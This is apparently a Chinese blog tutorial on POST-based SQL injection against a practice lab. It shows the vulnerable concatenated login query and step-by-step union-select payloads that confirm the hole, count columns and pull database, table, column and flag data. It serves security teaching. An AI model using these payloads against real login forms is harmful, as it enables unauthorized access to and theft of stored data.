POST注入(一)

    技术2025-09-28  42

    POST(一)

    注入环境:http://inject2.lab.aqlab.cn:81/Pass-05/index.php 攻击流程:     1;判断是否存在sql注入漏洞。     2;判断网页存在字段数。     3;判断回显点。     4;获取信息。   测试开始:     测试目标获取管理员账号密码

    GET/POST

    区别: GET传参的数据有限,比较少 POST传参的数据可以比较大

    可以达到很多效果 —— 文件上传

    这里需要注意的一点是:

    $sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';

    这里的源码的单引号闭合后,注入的一些SQL语句

    必须要前面正确,后面的语句才能跟着执行, 而像union这种语句,不管前面的SQL语句正确与否,都可以执行,但是像 order by 1的SQL语句必须前面正确,然后order by 1才能执行,后面图片可以看到

    GET传参会经过URL编码 POST不会URL编码,比如注释符号:#的URL编码是 %23 ,但是POST并不会解析这个URL编码

    POST注入—前后端使用post方法,在“框”中传递参数。表象如下图:

    select * from user where username=‘a’ or 1=1 # 表示查询a的字段,由于表里面没有,就会报错,但是后面跟的是或,就算前面不对,后面的1=1 成立了,一样表示对。

    1;判断是否存在sql注入漏洞。数据的数据能发现交互,说明存在注入

    2;判断网页存在字段数。

    这里我们1,2,3都判断了,一直判断到4的时候报错,那么就说明这里的字段有3段

    3;判断回显点。

    这里判回显点的时候,我们要把 or 1=1 去掉,不然数据库会以为 1=1 正确,然后直接执行,而忽略后面的联合查询

    4;获取信息。

    4;获取信息。 a’ union select 1,database(),version()# 获取当前正在使用的数据库 和数据库版本 获取当前数据库表名 a’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 注释:information_schema group_concat() table_name table_schema 不懂的请看显错注入(一)显错注入(一) 获取表的字段名(flag表) a’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’ # 注释:information_schema group_concat() table_name table_schema column_name 不懂的请看显错注入(一)显错注入(一)

    获取字段值

    a’ union select 1,group_concat(Id),group_concat(flag) from flag # 获取成功!!!!

    Processed: 0.012, SQL: 9